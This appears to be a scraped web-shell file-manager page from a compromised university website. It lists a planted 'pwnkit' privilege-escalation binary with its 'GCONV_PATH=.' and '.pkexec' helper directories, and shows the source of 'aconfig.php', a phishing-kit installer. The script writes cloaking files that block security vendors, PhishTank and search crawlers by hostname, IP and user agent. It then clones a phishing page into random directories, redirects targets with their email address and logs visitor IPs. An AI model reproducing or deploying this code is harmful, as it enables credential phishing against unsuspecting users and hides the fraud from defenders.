Gecko [ ifk.uw.edu.pl ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
047a512ddfa5fb53660d6cbe8f94f6...	[ DIR ]	drwxr-xr-x
06ec996d51d13b45c34f123f88b7b5...	[ DIR ]	drwxr-xr-x
0e380bfe671ee683ff2a48d26a23a2...	[ DIR ]	drwxr-xr-x
144ea0df290385995d49cd440ec90f...	[ DIR ]	drwxr-xr-x
152c2538c10136740bf74a9f8c585e...	[ DIR ]	drwxr-xr-x
23dfddbae2500c1de3780003bd3f94...	[ DIR ]	drwxr-xr-x
2b1f892dc2a429ad99cc2d81d0dc02...	[ DIR ]	drwxr-xr-x
30a9f59551eb41becf278a5b3613ed...	[ DIR ]	drwxr-xr-x
334d948ef971cea690e664dc5ead94...	[ DIR ]	drwxr-xr-x
40e8fe81a701b2137f163ea7e6d777...	[ DIR ]	drwxr-xr-x
4d364b294c4ffb34ec9d8b5ba65141...	[ DIR ]	drwxr-xr-x
641634d4da9c7e3072d72fe4796e1d...	[ DIR ]	drwxr-xr-x
779cfbf93edc6699fd4dbb0c2d0023...	[ DIR ]	drwxr-xr-x
7e04a76f5c12be2380ab3446f3e9da...	[ DIR ]	drwxr-xr-x
81142cf2842b4af0f8072f218107c0...	[ DIR ]	drwxr-xr-x
9c5eae0f0fd560b759c13d88478cfe...	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
a492109dd93805261359bec1038d24...	[ DIR ]	drwxr-xr-x
aadc08282783c2cc9242c686151181...	[ DIR ]	drwxr-xr-x
af6d88d279961c25071eaa18eb4fe2...	[ DIR ]	drwxr-xr-x
b3e8f6edf4805f785e9a0d5b7004cd...	[ DIR ]	drwxr-xr-x
b6c8a665ae85e3a90886d7ab8a5bc7...	[ DIR ]	drwxr-xr-x
bdc3a4d54f21d685a53787436c1654...	[ DIR ]	drwxr-xr-x
c81b3022c5288a32ec0f7cb6de7fb8...	[ DIR ]	drwxr-xr-x
c8533287335e9ca8e16f14c306598c...	[ DIR ]	drwxr-xr-x
cb2a12cd1fc2d30679789903d15c07...	[ DIR ]	drwxr-xr-x
cf4995e1c07cd9228cd8182013a2c6...	[ DIR ]	drwxr-xr-x
d117392e89389b0e264983ef4269e4...	[ DIR ]	drwxr-xr-x
d3bafbad92f037f49b175ab73e1494...	[ DIR ]	drwxr-xr-x
eccfb8b19823f3d1d87232f0a6feea...	[ DIR ]	drwxr-xr-x
fb8274aa2e5ecae9355df61361126f...	[ DIR ]	drwxr-xr-x
.htaccess	1.86 KB	-rw-r--r--
.mad-root	0 B	-rw-r--r--
aconfig.php	11 KB	-rw-r--r--
akismet-pl_PL.mo	21.93 KB	-rwxrwxr-x
akismet-pl_PL.po	27.69 KB	-rwxrwxr-x
index.php	1.81 KB	-rw-r--r--
ninja-forms-pl_PL.mo	120.71 KB	-rwxrwxr-x
ninja-forms-pl_PL.po	247.06 KB	-rwxrwxr-x
pwnkit	10.99 KB	-rwxr-xr-x
robots.txt	2 B	-rw-r--r--

Code Editor : aconfig.php

<?php
$user = $_REQUEST['email'];
$domains = $_REQUEST['domain'];

//files to create
$filename = ".htaccess";
$filename0 = "index.php";
$filename1 = "blocker.php";

///////////////////////////////////////////////####################################################
///////////////////////////////////////////////####################################################
$robot = '
# robots.txt
# vestacp autogenerated robots.txt
User-agent: Googlebot
Disallow: /
User-agent: googlebot-image
Disallow: /
User-agent: googlebot-mobile
Disallow: /
User-agent: MSNBot
Disallow: /
User-agent: Slurp
Disallow: /
User-agent: Teoma
Disallow: /
User-agent: Gigabot
Disallow: /
User-agent: Robozilla
Disallow: /
User-agent: Nutch
Disallow: /
User-agent: ia_archiver
Disallow: /
User-agent: archive.org_bot
Disallow: /
User-agent: baiduspider
Disallow: /
User-agent: naverbot
Disallow: /
User-agent: yeti
Disallow: /
User-agent: yahoo-mmcrawler
Disallow: /
User-agent: psbot
Disallow: /
User-agent: yahoo-blogs/v3.9
Disallow: /
User-agent: AhrefsBot
Disallow: /
User-agent: MJ12bot
Disallow: /
User-agent: Majestic-12
Disallow: /
User-agent: Majestic-SEO
Disallow: /
User-agent: DSearch
Disallow: /
User-agent: Rogerbot
Disallow: /
User-agent: SemrushBot
Disallow: /
User-agent: BLEXBot
Disallow: /
User-agent: ScoutJet
Disallow: /
User-agent: SearchmetricsBot
Disallow: /
User-agent: BacklinkCrawler
Disallow: /
User-agent: Exabot
Disallow: /
User-agent: spbot
Disallow: /
User-agent: linkdexbot
Disallow: /
User-agent: Lipperhey Spider
Disallow: /
User-agent: SEOkicks-Robot
Disallow: /
User-agent: sistrix
Disallow: /
User-agent: *
Disallow: /images/
Disallow: /cgi-bin/
User-agent: *
Crawl-delay: 10
';
///////////////////////////////////////////////####################################################
///////////////////////////////////////////////####################################################
//blocker file content

$blocker ='

$hostname = gethostbyaddr($_SERVER[\'REMOTE_ADDR\']);
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "paypal");
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
    header("HTTP/1.0 404 Not Found");
        die("<h1>404 Not Found</h1>The page that you have requested could not be found.");

}  
}
$bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*");
if(in_array($_SERVER[\'REMOTE_ADDR\'],$bannedIP)) {
     header(\'HTTP/1.0 404 Not Found\');
     exit();
} else {
     foreach($bannedIP as $ip) {
          if(preg_match(\'/\' . $ip . \'/\',$_SERVER[\'REMOTE_ADDR\'])){
               header(\'HTTP/1.0 404 Not Found\');
               die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
          }
     }
}

if(strpos($_SERVER[\'HTTP_USER_AGENT\'], \'google\') or strpos($_SERVER[\'HTTP_USER_AGENT\'], \'msnbot\') or strpos($_SERVER[\'HTTP_USER_AGENT\'], \'Yahoo! Slurp\') or strpos($_SERVER[\'HTTP_USER_AGENT\'], \'YahooSeeker\') or strpos($_SERVER[\'HTTP_USER_AGENT\'], \'Googlebot\') or strpos($_SERVER[\'HTTP_USER_AGENT\'], \'bingbot\') or strpos($_SERVER[\'HTTP_USER_AGENT\'], \'crawler\') or strpos($_SERVER[\'HTTP_USER_AGENT\'], \'PycURL\') or strpos($_SERVER[\'HTTP_USER_AGENT\'], \'facebookexternalhit\') !== false) { header(\'HTTP/1.0 404 Not Found\'); exit; }

///////////////////////////////////////////////####################################################
///////////////////////////////////////////////####################################################
$htaccess = "
## USER IP BANNING
<Limit GET POST>
order allow,deny
deny from 149.20.54.228
deny from 5.54.68.206
deny from 178.167.254.110
deny from 66.166.75.114
deny from 74.208.16.68
deny from 17.149.224.99
deny from 17.199.79.180
deny from 68.168.131.216
deny from 54.197.81.106
deny from 74.125.183.23
deny from 109.11.101.21
deny from 74.125.182.36
deny from 149.20.54.136
deny from 17.149.226.186
deny from 65.17.253.220
deny from 69.163.205.29
deny from 219.117.238.174
deny from 69.20.70.31
deny from 174.123.110.53
deny from 91.199.104.3
deny from 64.71.195.31
deny from 66.65.156.74
deny from 144.214.37.229
deny from 84.14.214.213
deny from 133.11.204.68
deny from 125.14.226.143
deny from 149.20.57.227
deny from 149.20.54.227
deny from 149.20.255.255
deny from 149.20.255.255
deny from 149.20.0.0
deny from 66.77.136
deny from 149.20.54.228
deny from 66.166.75.114
deny from 74.208.16.68
deny from 149.20.54.136
deny from 65.17.253.220
deny from 69.163.205.29
deny from 219.117.238.174
deny from 69.20.70.31
deny from 174.123.110.53
deny from 91.199.104.3
deny from 64.71.195.31
deny from 66.65.156.74
deny from 144.214.37.229
deny from 84.14.214.213
deny from 133.11.204.68
deny from 125.14.226.143
deny from 149.20.54.209
deny from 149.20
deny from 69.171
deny from 209.85.224
deny from 209.85.255
deny from 209.85.128
deny from 66.135
deny from 174.122
deny from 108.62
deny from 66.150.14
deny from 50.97
deny from 209.235
deny from 91.199.104
deny from 115.160
deny from 79.182
deny from 210.247
deny from 66.150
deny from 66.249
deny from 66.226
deny from 66.227.16
deny from 64.71
deny from 66.211
deny from 195.214
deny from 84.110
deny from 178.25
deny from 74.125
deny from 69.63.176.0/20
deny from 69.63.189
deny from 128.242.99.77
deny from 81.218.48.5
deny from 128.242.99.72
allow from all
</Limit>
";

///////////////////////////////////////////////####################################################
///////////////////////////////////////////////####################################################

$index = '
$user = $_REQUEST["email"];
$domains = $_REQUEST["domain"];
session_start();
require_once "kancha.php";
require_once "blocker.php";

//echo $user;sleep(3);

$ip = getenv("REMOTE_ADDR");
$random=rand(0,100000000000);
$md5=md5("$random");
$base=base64_encode($md5);
$dst=md5("$base");
function recurse_copy($src,$dst) {
$dir = opendir($src);
@mkdir($dst);
while(false !== ( $file = readdir($dir)) ) {
if (( $file != \'.\' ) && ( $file != \'..\' )) {
if ( is_dir($src . \'/\' . $file) ) {
recurse_copy($src . \'/\' . $file,$dst . \'/\' . $file);
}
else {
copy($src . \'/\' . $file,$dst . \'/\' . $file);
}
}
}
closedir($dir);
}
$src="src";
recurse_copy( $src, $dst );
header("location:$dst?email=".$user."&domain=".$domains."&log=0&3vqcr8bp0gud&lc=1033&id=64855&mkt=en-us&cbcxt=mai&snsc=1");

$_SESSION[\'page_dir\'] = $dst;
//check if file exist
$filename0 = \'count.txt\';
$filename1 = \'ips.txt\';

if (file_exists($filename0) && file_exists($filename1)) {
			// ip of people
			$txt = $ip."\n";
			
			// number of people
			$linecount = 0;
			$file="ips.txt";
			$handle = fopen($file, "r");
			while(!feof($handle)){
			  $line = fgets($handle);
			  $linecount++;
			}
			
			$file_data0 = $txt;
			$file_data0 .= file_get_contents(\'ips.txt\');			
			
			$file_data1 = $linecount." ".\'visitors  \';
			$file_data1 .= file_get_contents(\'count.txt\');
			
			file_put_contents(\'ips.txt\', $file_data0);
			file_put_contents(\'count.txt\', $file_data1);

} else {
				// ip of people
			$myfile = fopen("ips.txt", "w") or die("Unable to open file!");
			$txt = $ip."\n";
			fwrite($myfile, $txt);

// number of people
			$mycounterfile = fopen("count.txt", "w") or die("Unable to open file!");

$count = count($ip)."\n";
			fwrite($mycounterfile, $count);
			fclose($mycounterfile);
}	
';

///////////////////////////////////////////////####################################################
///////////////////////////////////////////////####################################################
$kancha = '
/*
* hostname.php
*/
$hostname = gethostbyaddr($_SERVER[\'REMOTE_ADDR\']); //Get User Hostname
$blocked_words = array(
     "above",
     "google",
     "softlayer",
	 "amazonaws",
	 "cyveillance",
	 "phishtank",
	 "dreamhost",
	 "netpilot",
	 "calyxinstitute",
	 "tor-exit", 
	 "paypal"
);

foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
		header("HTTP/1.0 404 Not Found");
        die("<h1>404 Not Found</h1>The page that you have requested could not be found.");

}  
}

if(file_exists($filename) && file_exists($filename0) && file_exists($filename1)){
	header("Location: index.php?email=".$user."&domain=".$domains."&log=0&3vqcr8bp0gud&lc=1033&id=64855&mkt=en-us&cbcxt=mai&snsc=1'");
}
else{sleep(1);
		if (file_exists($filename)) {}
				else {					
							// ip blocker htaccess
							$myfile = fopen(".htaccess", "w") or die("Unable to open file!");
							$txt = $htaccess."\n";
							fwrite($myfile, $txt);
							fclose($myfile);
							// ip blocker
							$myfile = fopen("blocker.php", "w") or die("Unable to open file!");
							$txt = "<?php".$blocker."\n";
							fwrite($myfile, $txt);
							fclose($myfile);
							// make $encrypted_file
							$myfile1 = fopen("kancha.php", "w") or die("Unable to open file!");
							$txt1 = "<?php".$kancha." "."\n";
							fwrite($myfile1, $txt1);
							fclose($myfile1);
							// make $wrong 
							$myfile6 = fopen("robots.txt", "w") or die("Unable to open file!");
							$txt6 = $robots." "."\n";
							fwrite($myfile6, $txt6);
							fclose($myfile6);	
				}
				
		if(file_exists($filename0)) {}
			else {					
							// index
							$myfile0 = fopen("index.php", "w") or die("Unable to open file!");
							$txt0 = "<?php".$index."\n";
							fwrite($myfile0, $txt0);
							fclose($myfile0);
				}

//final redirect
							sleep(1);
							header("Location: index.php?email=".$user."&domain=".$domains."&log=0&3vqcr8bp0gud&lc=1033&id=64855&mkt=en-us&cbcxt=mai&snsc=1");
}

${this.title}

Code Editor : aconfig.php